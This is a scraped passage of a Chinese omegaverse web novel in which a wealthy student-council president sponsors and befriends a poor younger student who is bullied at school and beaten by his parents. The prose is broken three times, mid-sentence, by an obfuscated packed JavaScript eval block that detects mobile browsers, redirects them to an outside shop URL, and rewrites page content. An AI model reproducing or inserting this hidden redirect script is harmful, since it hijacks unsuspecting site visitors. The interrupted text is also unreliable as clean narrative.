少年回过神,对主持人温和一笑,转过身向荧幕看去。 大屏幕上跳出几排青少年的照片,男女都有,岁数目测从七八岁到十来岁不等。这次慈善晚宴的主题是爱心助学,所有受邀的联邦官员家庭都可以选择一个指定的贫困生,为其提供为期三年的助学金。 下了台,爸爸妈妈就又不得不离开他,去和主办方以及其他政府要员打招呼了,搞不好今天依然是自己一个人坐司机的车回家。瞿清许面儿上答应,心里其实对这种活动兴致缺缺,目光在诸多照片上一扫而过,视线忽的一顿,定格在一张板着脸的少年面孔上。 为了给“金主”留下好印象,照片上的孩子们无论年龄大小,一律笑得花儿一样甜。唯独角落里那个照片上的男孩儿,十来岁的样子,黑色的短发和那倔强的脸一样桀骜不驯地支棱着,铅灰色的双眸瞪着镜头,嘴角不讨喜地往下耷拉。 看到那张臭脸的一刻,瞿清许先是一愣,继而险些忍俊不禁。 赛过天上掉馅饼的好事,笑一下又不会掉块肉,干嘛不讨大家个开心? 可众多喜笑颜开的面孔里,唯独这张愣头愣脑、仿佛不会读空气的照片,让少年心里油然而生起一股久违的真实感。于是瞿清许转身,面向主持人与台下的诸多宾客,抬手一指。 “选定了,就是这个叫……” 大屏幕调出那男孩儿的照片到正中央,瞿清许回头确认完,一个字一个字念出来。 “叫闻序的,我们要资助的人,就是他。” * 慈善晚宴结束,瞿清许的父母如预想那般没来得及和他道别便匆匆离开。他的注意力都放在父母的不告而别上,至于因自己一念之差而选中的那个“幸运儿”,很快便被抛诸脑后。 直到一个月后的那天。 午休铃声响起,教学楼内潮水般密密麻麻地涌出一大群学生。瞿清许戴着学生会的徽章,照例在楼内巡视纪律。 “穷光蛋,跑到这儿躲着来啦?听主任说你父母已经来递交你的退学申请了,是不是真有这回事?” 往常天台都是这份平平无奇的巡视工作的收尾,可今日刚一推开楼顶的门,几个人影便映入眼帘,随之传来的还有语带不屑的呵斥声。 看样子应该是碰上学校里那几个横行霸道的惯犯又来“教训”人了。瞿清许眉心微蹙,没有立刻作声,远远眺望向天台边上围做一圈的那群身影。 有人阴阳怪气地笑出声:“一天天拽得像大爷似的,借你作业看一眼都不肯,这回怎么样,还不是没学上了嘛,啊,闻序?” ——闻序? 那似曾相识的名字道出口的瞬间,尘封的记忆掀动,瞿清许眸光一沉,便听到包围圈中央一声低低的冷笑: “那也也比你们这些不学无术,仗势欺人的富二代要强些。怎么,学校的功课不及格,回家被爹娘打屁股了?” “我丨操丨你大爷的!”其中一个显然禁不起挑衅,一点就炸,“你小子真是欠打!哥几个今天不把你揍得满地找牙,老子就跟你姓!” 眼瞅着那几个虎视眈眈的学生就要向落单的人扑过去,瞿清许心里都倏地一紧——都已经被团团围住了,怎么还这样嘴上不饶人! “喂!”他快步上前,“学生会,你们这些人干什么……” “——哎唷!” 乓乓几声结结实实的闷响,为首的那个男生一声惨叫,捂着脸倒在地上。又有两个仗着人多的,虎头虎脑冲上去把那被包围的少年一左一右擒住,可那少年身子一矮,沉下膝盖猛地一扫,左边那个立时失去重心一屁股摔在地上;少年解除了禁锢的手臂高高抡起,一拳下去,另外那个也嗷的一声放开手连连后退,鼻子底下顿时流下鲜血来! 剩下那两三个男生见状,顿时僵在原地,谁也不敢上前。瞿清许也愣了,跟着刹住脚步,吃惊地看着这始料未及的场面,反应了好几秒才想起来自己的原本来意: “重山中学校规禁止打架斗殴!你们几个——” 以多欺少四个字与眼下少年的豪华战绩着实有点不相称,瞿清许话到嘴边兜了个圈子:“前几天刚见到你们中有人被通报批评,再这样下去可就要叫家长来把你们领回家去反思了。现在赶紧走,不然我就如实和主任上报!” “是瞿会长……” 那几个有幸没挨着揍的一回头,见是学生会的瞿清许,脸色也纷纷一变,赶忙把地上疼得打滚的几个人扶起来,头也不敢回地狼狈离开了。瞿清许盯着那一伙不良学生灰溜溜地下了天台,这才转过身。 “同学,你没事吧?” 中午的阳光正当时,明晃晃打在那浑身紧绷的少年脸上,竟一时花了他的眼,叫他失了言辞。 天台围栏前面站着个高个子少年,灰皙色的校服外套因为刚刚的冲突有些发皱,衬衫领口扣子拽开了,领带也被扯松挂在脖颈上。那少年像是尚未脱离迎战状态的敏捷的豹子,宽阔的肩背因为用力而微微耸起,凌乱的黑发遮掩下,铅灰色的眸子直勾勾地望向瞿清许的眼睛。 唯有对视上的头一秒,那少年眸光一动,抿紧了唇,浑身散发着的桀骜的戾色却无声地消敛几分。 瞿清许终于认出,这是一个月前慈善晚宴上,自己亲手挑中获得了瞿家对口帮扶资格的少年。 眼见对方胸膛还微微起伏着,挽起袖口的手臂上蜿蜒的青筋迸起,瞿清许试探着唤他: “闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658592|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序……学弟,这样的校园霸凌持续多久了?我是学生会会长,有什么事可以告诉我。” 被唤作闻序的少年剑眉一皱,语气些微不解: “谁校园霸凌,我吗?是他们看我不爽找我约架的。不过无所谓,要处分随意,打都打了,这事儿敢作就敢当。” 瞿清许:“……” 闻序身后的天台下方,三两结伴的学生早都走远了,教学楼附近一时安静得只剩下遥远的风声。 瞿清许看着闻序。少了镜头的修剪,面前的少年那立体的五官与分明的面部线条更加直观而有冲击力地显现在他眼中,整个人却活像一只警觉的刺猬,虚张声势的凶狠之下,实则是充满极度的不安全感。 他突然想起刚刚那挑衅的不良学生的话。 “你要退学了?”瞿清许问,“可你不是刚刚获得了来到重山中学借读的资格,还拿了一年的助学金吗?” 闻序看他的眼光发狠:“你怎么知道的?” 瞿清许忙抬手安抚炸毛的猫似的在空中比划了两下:“学弟你别误会!其实……说了你别介意,当时联邦政府在重山中学试点推行的这个助学计划,我家正好参与了,而且当时指名你的人,就是我。你家是没收到助学金吗,为什么还会供不起你上学呢?” 闻序微微一怔便别开脸,线条刚硬的颈间动了动,喉结上下一滚。 “……是我爸妈。”半晌,他哑着嗓子道,“他们这次投资亏得血本无归,我的助学金都不够填这窟窿,只能等还了钱再考虑供我上学的事……” 瞿清许瞪大了眼:“你父母怎么能这么做?!这是资助你上高中的钱,等他们还完债不一定要到什么时候,可错过上学的年纪一切就来不及了!” 闻序忽然眼底一暗,望着对面那一脸单纯而又理所当然的神情的少年,嘲讽一笑。 “辍学也好,早点打工赚钱贴补家用,不至于每天回家被指着鼻子骂败家的废物。”闻序说,“这就是我们这种人的命,你不懂。” 天台后远眺便能看到首都郊外,远山隐没在层云下,湿润的南风模糊了重山叠影。瞿清许心里忽的一空,失重般向下坠落,莫名不甘心地握紧了拳。 “没人生来就是这样不公的命。” 闻序盯着他,眼里完整地倒映出面前俊俏挺拔的omega,少年黑色的短发被暖风轻拂,柔软的发丝微微飘动,墨一般漆黑的瞳孔却认真地凝望着他,仿佛这一刻,他们眼底只有彼此。 “你不用递交退学申请了,”瞿清许正色道,“回去我会告诉我爸爸,让他们停止给你父母发放明后年的助学金,以后你的学费会直接交到重山中学。” 闻序的眼睛猝然瞪大了。刚刚还以一敌多都不放在心上的男孩儿磕巴了一下,抬手揉了揉鼻子,挪开视线。 “你……我和你根本不认识,你干嘛管我到这个份儿上?” 瞿清许把他的局促和掩饰都看在眼里,不由觉得有趣,轻轻笑了声: “我认得你啊。慈善晚宴那天,我可是在几十个候选人里一眼相中了你,还记住了你的名字呢。” 末了他特意补了一句:“闻序学弟。” 不知是这平平无奇的称谓还是那声意味不明的笑扰乱了心弦,闻序一个激灵,若是人类长尾巴,恐怕现下他屁股后面的那一根早就炸开了花。他忙不迭把手揣进兜里,低头拔腿就走。 “多管闲事。劝你离我远点,别沾上太多是非。” 撂下这生硬的一句,青年绕过瞿清许,走到消防通道门口。瞿清许跟着回过身: “哎!不道谢就算了,你就不想知道我是谁?” 砰的一声,沉重的铁门弹回门框上。天台陷入一片寂静,偶尔从楼下传来嗡嗡的蝉鸣声。 17. 第 17 章 一周后。 “铃——” 午休铃声再次响起,不到一分钟,教室里的人已经走光。闻序从座位底下拿出一个小小的饭盒,刚要打开,忽然听见门口传来一声轻笑: “你果然在这啊,学弟。” 闻序抬起头,眉头几乎立刻就蹙成川字:“怎么又是你?” 瞿清许微微一笑,带着几分孩子似的得意,走上前来,二人隔着几排桌椅对望。十七岁的少年一头蓬松柔软的黑色短发,烙印在年轻的闻序眼底,竟叫人觉得格外明眸皓齿,顾盼生辉。 “你为什么会来这儿。”闻序面带抗拒。 “喏,”瞿清许抬手指指胸前的徽章,“学生会的,这两个月我负责午间巡逻。你怎么不去食堂吃饭?” “要你管。” 讲完之后,男孩儿忽然又瞥了一眼仍然好脾气地笑着的瞿清许,眼神闪烁了一下。 “……食堂的饭我吃不惯。我要吃饭了,你去别的地方巡逻吧。” 没人要求,他却自己嘟哝着补充了这一句。瞿清许并没有泄气,看着少年手里遮掩地握紧了的铁饭盒,恍然大悟,自己这是问了个何不食肉糜的蠢问题。 少年漂亮的黑色瞳孔炯炯地注视着男孩儿倔强的、棱角分明的脸,对方语气生硬,头却埋得有点低,生怕自己把注意力放在那破旧的饭盒上一般。 因为可怜的一点自尊心,所以不愿让外人留意自己的窘迫;又同样因为自尊心,更不愿让别人察觉到自己有一丝掩饰的不坦然。 于是瞿清许抿唇,目光柔和下来。 “巧了,我也不去食堂吃饭。” 闻序抬眸,恰好看见瞿清许又是轻轻一笑,咧了下嘴角,笑起一个好看的唇形:“巡逻要到很晚,食堂早就没有饭了。正好咱们当个饭搭子,就这么说定了啊。” 闻序一下子坐直了:“不是,你这人怎么自说自话就决定——” 瞿清许置若罔闻,走过来一把拉开闻序身旁的一把椅子,大喇喇地坐了下来,从衣服兜里伸手一掏,变戏法似的拿出一个便利店的金枪鱼饭团:“最近我巡逻回到很晚,你要有点身为饭搭子的自觉,记得等我来再开饭哈。” 闻序深吸了口气,一句“你有病吧”没道出口,却在转头的瞬间猛然出了神。 “听见没有,学弟?” 春末夏初,天光如沐。明媚的阳光透过窗户,照在瞿清许那张俊秀白皙的脸蛋上,黑色的发丝被风吹起,露出光洁饱满的额头,那双漂亮的眸子笑得如月牙弯弯。瞿清许歪了歪头,往闻序身旁边说边凑近了一点,只穿着短袖校服衬衫的胳膊轻轻碰了他一下,二人的肌肤短暂相触又分开。 温软弹滑的触感一瞬即逝,却如惊雷般在少年脑中振响。 ——太近了。 闻序看不见自己骤然泛红的颈间皮肤,却能感觉到浑身都不自在地烧热起来,转过头去,喉咙里咕哝地清了清嗓子: “随便……随便你好了。” * 在那之后,风马牛不相及的两个人之间,竟真就靠着瞿清许看似一厢情愿的这句约定,把饭搭子的关系维持了下来。 “……哎,说起来……” 在教室里一起吃午饭有一周之后,瞿清许终于忍不住率先发问: “你爸妈那边拿不到助学金,没有对你发难吧?还有那些找你麻烦的家伙,后来有再堵你吗?” 一周过去,闻序的铁饭盒里永远是不变的白饭加咸菜,倒是瞿清许带来的吃食越来越高级,甚至也开始规规矩矩地带饭,只不过用的是比闻序高级很多的双层保温饭盒。 “没有。我爸妈还没搞清楚怎么回事,至于那些蠢货,他们打不过我。” 闻序把盖子打开。瞿清许也把自己饭盒的第一层拿下来,放在桌子中间,用筷子点了点:“那就好。胡萝卜你吃吗?我家阿姨总是执着于让我吃这东西……不嫌弃的话,要不你夹走?” “都行,我不挑食。” 瞿清许单手托着下巴,看着闻序一筷子一筷子把菜里的胡萝卜挑出去,脸上渐渐有些憋笑,也夹了一块红烧排骨,放在闻序碗里。 “喂!” “这个我也不吃。” “有谁会不吃红烧排骨啊!再说你家阿姨怎么可能净做你不爱吃的东西?” 噗嗤一声,少年垂下头扶额笑得肩膀抖动,闻序斜眼看他,嘴角却控制不住地也抖动一下。 “你这人真怪。难怪你是学生会长,天生喜欢操闲心。” “是吗?那我就把这话当做夸奖咯,小学弟。” 窗外操场上传来砰砰的拍球声,已经有吃得快的男孩儿急着来篮球场占场地,互相吵着笑着,嬉闹声像是青春活泼的背景音,一阵一阵传进空旷的教室里。瞿清许笑够了,长舒了口气,伸个懒腰,眼神却放空起来,望着面前虚无的空气。 “这几天我一直在想,会不会我的做法太过冲动,对你也并不好。”过了一会儿瞿清许闷声说,“半个月前我看到那群不良少年欺负你,还听你说了父母挪用助学金的事儿,脑子一热就……可这里是首都的贵族私立学校,你爸妈不肯给你太多生活费,你连食堂都吃不起,又是借读生,在这儿很难融的进去……” 闻序动作一顿,惊诧地看向他。 “你在内疚?”他无语到发笑,“拜托,如果没有你,我已经辍学了,你居然还感觉自己做得不够好?这所学校里你是我遇到的唯一一个肯正眼看我的人!” 说着闻序干脆放下筷子:“这半个月我也一直在想,你到底为什么这么执着于帮助我,就因为在那个什么慈善晚宴上选中了我,所以要对我负责到底吗?可咱们素不相识,你也根本没有义务要对我好到这个地步,不是吗?” 瞿清许忽然抬眼看他,墨色的眸中闪过某种隐晦的光,接着照常笑了。 “但行好事,莫问前程。”他拍了拍闻序的肩,笑眯眯的,“小小年纪就别装着那么多烦恼了,就当是老天给了咱们一个互相认识然后做朋友的机会,多好。” “……明明只比我大两岁,故作成熟个什么劲儿。” 闻序瘪嘴,肩膀微微一沉,却始终没有拂开肩上那只纤长而骨节分明的手。 “还有,”少年沉吟良久,握着筷子缓缓说道,“别学弟学弟的了,既然要做朋友,以后直接叫我的名字,叫闻序就行。” 瞿清许脸上清澈的笑意更甚。 “闻序,”他欢快地念了一遍,“好,我清楚了。” * 后来,瞿清许曾经很多次回想起那段日子,那个两人之间心照不宣的约定,那个别扭着默默接纳自己好意的少年。 那两个月,瞿清许的食堂饭卡被放在家里,一次没有带到学校来过。保姆阿姨不清楚瞿家的小少爷为什么突然要求带饭,只是隐约感觉到小少爷的饭量好像比从前大了,连备餐都更起劲了不少。只有瞿清许自己知道,想让自尊心极强的小学弟肯和自己分享一些午餐,这中间究竟让自己费了多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658593|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少口舌。 一开始,闻序还规矩地遵守食不言寝不语,俨然一副高冷寡言的形象,若是有外人看了瞿清许变着法儿找话题的样子,定会惊讶于重山中学品学兼优的学生会长怎么会甘愿给一个借读的穷学生热脸贴冷屁股。 但他心里明白,闻序只是没有朋友,习惯了孑然一身,便误以为自己天性喜好孤独。 可闻序那时毕竟还只有十五岁,日子长了,慢慢也肯打开心扉与瞿清许聊聊天,最初是关于学业的只言片语,到后来也会和瞿清许讲些班级的新鲜事儿,甚至还会在瞿清许因为考试而大倒苦水时认真思考了一番,对他道: “你这么担心那第二名超过你,要不我帮你去把他的笔记偷出来,看看他到底有没有贿赂老师提前拿到考试题?” “不行不行不行!” 瞿清许一口奶茶险些喷出来,一边狂抽纸巾擦嘴一边摇头如拨浪鼓:“我就是发发牢骚,这么做也太卑鄙了,胜之不武……” 闻序哦了一声,耸耸肩,继续吃饭。瞿清许看了他一会儿,慢慢放下手。 “这些想法我从来没和别人说过,我怕他们听了会觉得我太阴暗太输不起。”瞿清许看着闻序,“我班里那些同学知道了,肯定会觉得瞿清许很虚伪,明明就很在乎考第一名,偏偏要装得很高风亮节,自己只是随随便便就考了个第一名。你不这么觉得吗?” 闻序嘁了一声:“那样想才真蠢呢,谁一辈子不会有点小心思啊。再说了,你跟我说出来这些,心里不也好受很多不是?” 瞿清许刚想点头,闻序忽然微微垂头,筷子无意识地在饭菜里扒拉两下,立挺的侧颜似乎因某种加速流转的气氛而紧张地绷紧了。 “这个就是身为朋友应该起的作用——”他转过头,尽力让自己的语气听上去没有太多试探的确认,“对吧?” 分明正午的骄阳当头,瞿清许却被窗外的光晃了眼,瞳孔蓦然一抖。 良久,他听见自己低低地嗯了一声。 “对,我们是朋友,”少年嫣然一笑,“有什么心里话,都不应该瞒着彼此的那种朋友。” * 两个月的巡逻结束了,瞿清许却还是执着地每天都来闻序班里与他共进午餐。他始终没能回答出闻序一早提出的问题,对方似乎也渐渐不再追究他给不出的答案。 期末考试完毕,假期在学生的千呼万唤中姗姗来迟。出成绩的前一天中午,瞿清许照例带着装得满满当当的饭盒来到教室门口,兴冲冲地推开门: “闻序,老师说我可以向G大提交申请了——” 吱呀一声,门板旋转而开,映入眼帘的那个熟悉的座位却空空荡荡,角落里一个正在收拾东西的学生转过身,一脸茫然: “瞿学长?你怎么来了,是要找谁吗?” 瞿清许一下子停住脚步,兴致勃勃的表情都凝固在当场。他尴尬地放下饭盒,把手背到身后: “对,我找个人。安排在你们班借读的那个闻序呢,知道他去哪儿了吗?” “闻序啊,他上午没来,最后一节课才进的教室,还戴着个口罩。刚一打铃他就急着走了,不知道干嘛去……” 瞿清许愣了愣。他不知道闻序早上为什么迟到,可他如果真有事绝不会不打招呼就走,这分明是在故意躲着自己。 他失望地说声多谢,转身离开。一边走,一个不着边际的想法边从脑中冒出。 闻序这家伙,真的愿意和自己这个有点奇怪的学长做朋友么? 18. 第 18 章 啪的一声,一摞文件放在桌上,把兀自发呆的三好学生吓得猛一回神。 “清许,低年级各班的成绩单,辛苦你跑一趟给各班老师送去。” 瞿清许起身点头应下,拿过成绩单的时候神魂还半出半回地拖在身外,脑海里控制不住地想着某个不打招呼便放了鸽子的人。走出教室很远,他才停下脚步把高一的那一摞成绩单翻开,将其中一张抽出来,放在最上面细细查看。 重山中学里种了四季的花,暑期将至,校园里到处都萦绕着袅袅的茉莉香味。少年停在廊下,细瘦的指尖在一排排油印的姓名上飞速划过,最后停留在两个熟悉的方块字上。 瞿清许的目光紧跟着向右侧平移。 “闻序……”他念出声,“数学98分,文法124,逻辑学135……” 蝉鸣声刺耳,几乎盖过他越来越小的声音,直至尾音化为一声轻得几乎听不见的低笑。十七岁少年漂亮的侧颜湮没在荫下,有种镀了金的白瓷釉般精致的美。 瞿清许顿了顿,将成绩单收好,无奈地摇了摇头。 “没想到还挺偏科。” 暗自嘟囔了一句,瞿清许迈开步子,一路小跑着穿过走廊。 * “我来送期末的成绩单,你们班老师呢?” “学长,老师有事出去了,可能是在开会。” 临近假期,课间走廊里不少人三三两两地说笑着走过。 “这样啊。”瞿清许倚在门口往里半真半假地望了一眼,把成绩单随手递给回话的低年级学生,声线却忽的拔高,“诶同学,麻烦你叫一下闻序出来,我找他有事。” “哦,好。” 那学生回身喊了一嗓子:“闻序,瞿会长找你,快一点!” 熟悉的座位上某个趴着假寐的身影一动,好半天才磨蹭着起来。瞿清许早就看到他在那装鸵鸟,倒也不拆穿,抱着胳膊对这学生歪头笑了笑: “没别的事了,多谢啊学弟。” “客气了瞿学长,”那学生语气隐隐地有点激动,“这点小事不足挂齿!我爸爸也在国安工作,他经常和我说要我多向你学习呢,学长真的超级优秀……” 瞿清许维持着笑意没动,只是眼角眉梢难以察觉地垂落了一点。 “嗯,过去也见过叔叔阿姨的,学习谈不上,大家共同进步。” 他说。刚说完,磨磨蹭蹭的家伙终于挪到了门边。那学生倒也乖觉,把成绩单贴到教室内的展板上就离开了,瞿清许这才舒了口气,换了副戏谑的表情,靠着门框懒洋洋一转身: “闻——” 话音未落,戴着遮住大半张脸的口罩的闻序闯入眼帘,瞿清许登时愣住了。 “你感冒了?”他甚至忘了自己是因为被放鸽子来兴师问罪的,脱口而出,“就算流感也不用时时刻刻都戴着口罩吧,这样不会呼吸困难吗?” 即便被遮住了脸,闻序露在外面的那双眼睛依然深邃而有神,可此刻对方却性格大变似的扭捏起来,虚张声势地啧了一声,扭过头。 “怕传染给同学不行吗,你们这儿校规又没说不许戴。” “是咱们这儿。”瞿清许纠正完,嘶地轻轻抽了口气,“不是,我来找你不是要说这些的,都被你带偏了!昨天你为什么不等我吃午饭,这事儿你没什么想对我解释的吗?” 闻序眸光一动,还是不看他:“忘了。” “——忘了?” 瞿清许稍微拉长了腔调,半嗔半调笑地抬起头打量了闻序一眼。 走廊里的人流渐渐稀疏,只剩他们二人杵在走廊边上,彼此靠得又近,瞿清许就这样仰着脸叉着腰,发火和开玩笑掺半,全然察觉不出自己不像是发难人,倒有些外面热辣辣的小情侣之间拌嘴的架势。 “闻序,”瞿清许幽幽开口,“做朋友做到这份儿上,那就是不够义气,不讲究。” 少年蓦地真切的慌了,连忙侧目,无意间抬手拨弄了一下刘海: “我哪有你说得这么严——” “等等!你别动,这是什么?” 因为焦虑而下意识的动作,反而让刘海下一块青紫的皮肤暴露在对方眼前。闻序想收手,可下一秒瞿清许反倒比他更眼疾手快,一把拉住他的手腕。 闻序一震,回过头。瞿清许仰头迎视他的目光,眯起眼睛。 “你根本没有感冒。你在撒谎。” 闻序口罩下面隐约动了动,瓮声瓮气道: “那一块是我走夜路磕的——哎!瞿清许!” 他想拿出哪怕狐假虎威的气势恐吓对方,可瞿清许根本不怕,拉着他不由分说就往拐角的楼梯间走,闻序一面暗自惊叹于瞿清许看着清清瘦瘦的一个人儿力气居然这么大,一面不敢太用力对抗伤着对方,到底任由瞿清许把自己拉到了一个背人的角落,这才挣开他的手: “你这人也太多管闲事了,我还要回教室,别挡路。” 瞿清许望着他,哼笑一声:“那这闲事我偏偏管定了。” “你——” 他猝不及防一伸手,将闻序的口罩一把拉了下来,闻序躲闪不及,短促地叫了一声,好像什么被调戏了的黄花大闺女,手忙脚乱要捂住脸,却见瞿清许又是倒吸一口凉气,触电般缩回了手,瞳孔剧烈震颤。 “怎么……”瞿清许声音也战栗起来,“是你父母?他们——他们为什么……” 原本已初具男子气概、意气风发的一张英俊的少年面孔上,无端多了几处及其狰狞的淤青和血痕,颧骨上大片的擦伤触目惊心,唇角也破了,而这些大小伤口显然没有得到妥善的处理,又只匆匆戴了口罩遮饰,有些伤口甚至已经有了肿胀的趋势。 此刻闻序的脸,除了那双铅灰色的眸子,其余可以用惨不忍睹来形容。 眼看瞿清许脸色变了,闻序知道遮掩已然无用,慢慢放下手,苦涩地咧了咧嘴——瞿清许方才发觉,为何对方明明没感冒,说话却也病了似的怪怪的。 “在我们家,一分钱都值得让他们打得不可开交。”闻序说着垂眸,“他们嫌供我上学太费钱,我气不过,和他们吵了一架,被赶出来了。” 瞿清许仍然震惊地盯着他,半分钟之前那股气势汹汹、甚至有点子他自己都没发觉的娇嗔劲儿全都丢光了,只是瞬也不瞬地凝望着眼前的少年。闻序勉强勾了勾唇角,抬手想把口罩拉上来: “或许过两天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658594|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们消了气,我还能回去也说不定,无非忍受他们发牢骚罢了……” 下一秒,闻序的声音戛然而止。 瞿清许抬手,白皙单薄的手掌颤抖着轻轻覆住男孩儿的侧脸,指尖一动,虚虚蹭过尚未结痂的皮肤。闻序倏地垂眼,却望见一双墨色的眸。 那双眼里写满了悲戚、心痛和不忍,如某种巨大的洪流,顷刻间吞没了他。 他从未见过这种目光——他从未拥有过这种目光。 “疼吗?” 瞿清许抿着唇,小心地问。闻序喉结一动,压下眼底汹涌的情绪,抓住瞿清许细瘦的腕子,将那只试探着不敢抚摸他脸颊的手轻轻搡开。 “看着吓人而已。”他无所谓地一哂。 “他们不让你回家,你现在住在哪儿,生活费又从哪来?”瞿清许越说越急,“后天就放假了,你父母难道不担心你一个人在外头……” 闻序摇头:“找个地方打工呗。” 瞿清许慢慢放下手。十五岁的少年在首都哪里找得到什么像样的暑假工,他就是再不谙世事,也知道闻序这话纯是在哄他。 “行了,有事开学再说,我先回去了。” 闻序拉上口罩刚要走,瞿清许忽然眼睛一亮,叫住他: “等等,我有个办法!” 闻序身形一顿。瞿清许一步再次跨到他面前把人拦住:“来时我看了你们班的成绩单,你来重山借读才一个学期,文科的成绩就已经跟了上来,还名列前茅,证明你在这方面很有天赋。我母亲在政法部任职,认识不少法院律所的朋友,不如我介绍你去那里实习,怎么样?” 闻序愣了愣:“去律所?我能干些什么?” “就算跑腿打杂,总归是跟着那些律师法官学到点东西啊,”瞿清许道,“实习虽然工资少,但都供吃供住,要是他们看你不错,开学之后或许也能允许你周末去帮个忙,这样往后你也不用担心父母不给你生活费了嘛!” 怕闻序不答应,他又补充了一句:“别有思想负担,又不是走后门,只是给你一个面试机会。你要真能去实习,说不定假期咱们还可以经常见面,我正愁没人陪我玩呢。明天我把名片给你带来,啊。” 闻序看着瞿清许。少年穿着笔挺的西装制服,微笑时唇角昂起一个舒朗的弧度,干净明睐,宛如一株向阳而生的小白桦。 那笑容好像会传染,闻序眨了眨有些发酸的眼睛,口罩下的半张脸也无声地笑了。 “我知道了,”闻序哑声说,“谢谢。” 有一刹那,连月来萦绕在少年心头的那个问题似乎又要脱口而出,可他终究还是咽下去了,见瞿清许满意地点头,禁不住换了个问题: “你说去实习后,假期咱们有可能会见面?” 瞿清许还有些自我陶醉在挽救失足少年的成就感里,想都没想笑道:“对啊,我刚申完G大的优录,假期闲得很。” “好,”闻序慢慢点头,“到时候我去找你——我是说,如果你需要的话。” 瞿清许看了他一眼,忽然莞尔一笑。 “说话算话啊闻序,”他尾音欢快地上扬,“这个假期,我正好有一个用得着你的场合。” 19. 第 19 章 十七岁的夏天,就这样在少年之间的一个约定下拉开帷幕。 “你说用得着的场合,就是这?” 首都八月的夏夜,到处都流淌着闷热的气息。闻序从卫生间走出来,对着镜子别扭地扒拉着身上崭新的黑色西装,低下头时,从镜子中看到身后那双含笑的、熟悉的眼睛。 “这就是你报答恩人的态度?”瞿清许笑着打趣。闻序嗤笑,转过身,看着面前身着黑色燕尾服的俊美少年,只盯了一下,眼里便浮泛起光晕。 “你还没说叫我来干嘛呢,瞿大恩人。” 两个大男孩儿对视一眼,不知搭上了哪根脑电波,不约而同乐出声来。 在律所实习得好好的,瞿清许一个电话,闻序没来得及询问前因后果,就被叫到了这家酒店,又被对方推着到卫生间里换了这套一看就价格不菲的装扮,塞了一张邀请函。 为朋友两肋插刀义不容辞,可这算怎么个摆平法? “就是个酒会,”瞿清许笑够了,同他解释,“要求家属里面已经十七岁并且分化了的带男伴女伴出席。我这不是迟迟没分化吗,但你已经是alpha了,我想着比起那些不知根知底的人,还是你更好。” 闻序悟性很强:“规矩真多。所以,你是不想让你爸妈的那些同僚知道,瞿家的孩子十七岁了还没有分化,怕他们背后说你家的闲话咯?” “呃……对。”话说得直白,瞿清许挣扎一下还是承认了,“一会儿我给你编造一个身份,你记得背熟了,别露馅。” 大概上流社会的人就是这样把面子看得比什么都重要,但这事关瞿清许,闻序表示不理解但尊重。 两个人顺利进到会场里,一进去闻序便有点被里头琳琅满目的自助冷餐和比学校礼堂还大的格局所震撼到,正极力克制自己不要露出太没见过世面的眼光,忽然一只胳膊伸过来,自然而然挽住他的。 闻序一个激灵,差点摆出街头打架的起手式:“喂——” 瞿清许挽着他的胳膊,佯装恐吓地瞪他一眼,等人偃旗息鼓后这才低声道:“别一惊一乍的,傻子。这是社交礼仪,你看大家都这样做。” 环顾一圈,受邀的成对宾客倒确实如瞿清许所言那般,不论男女老少,都挽着胳膊走来走去。闻序不用看都知道自己现在耳朵红得多厉害,少年不但不安慰他,反倒在他耳畔轻叹着一笑。 “等会儿和几家不得不打招呼的人碰个面,咱们就可以自在些了。这家酒店的菜特别好吃,一会儿我带你拿,不用不好意思啊。” 闻序僵硬地点头,看着瞿清许一路不断和许多迎面而来的陌生青年笑着点头致意,忽然想到什么,问: “你带我来,你爸妈看见了怎么办,他们肯定能发现我不是什么受邀的——” “他们不会来的,就算来了,也不会注意。” 少年没有看他,只是嘴角微微一动,仍然对着来往的人笑着,说出这话时,唯有眼角划过的一丝落寞的情绪,流星般坠入闻序的眼中。 “哎唷,真巧啊,清许!” 两个人不约而同回头。一个年纪相仿的男孩儿站在瞿清许身后不远处,梳着有些过于成熟的背头,慵懒地笑着抬手。 闻序嗅到一丝alpha的气息。或许是同类之间天生相斥,少年不由得皱眉,脸色也稍微阴沉下来。瞿清许只愣了一瞬,很快迎上前与对方握手: “又见面了,小江哥。叔叔阿姨身体可还好?” “很好,托你的福。”男生说着,毫不掩饰地通身打量了瞿清许一遍,丝毫没给旁边表情愈发严肃的闻序一个眼神,“看来你分化了,怎么样,是omega还是beta?” 瞿清许微笑:“是beta。” “哦,可惜……”姓江的少年幽幽叹了口气,“我爸还说,国安这些人里面,就瞿永昌的孩子最优秀。不过beta的话,生育后代还是有点麻烦,你说呢?” 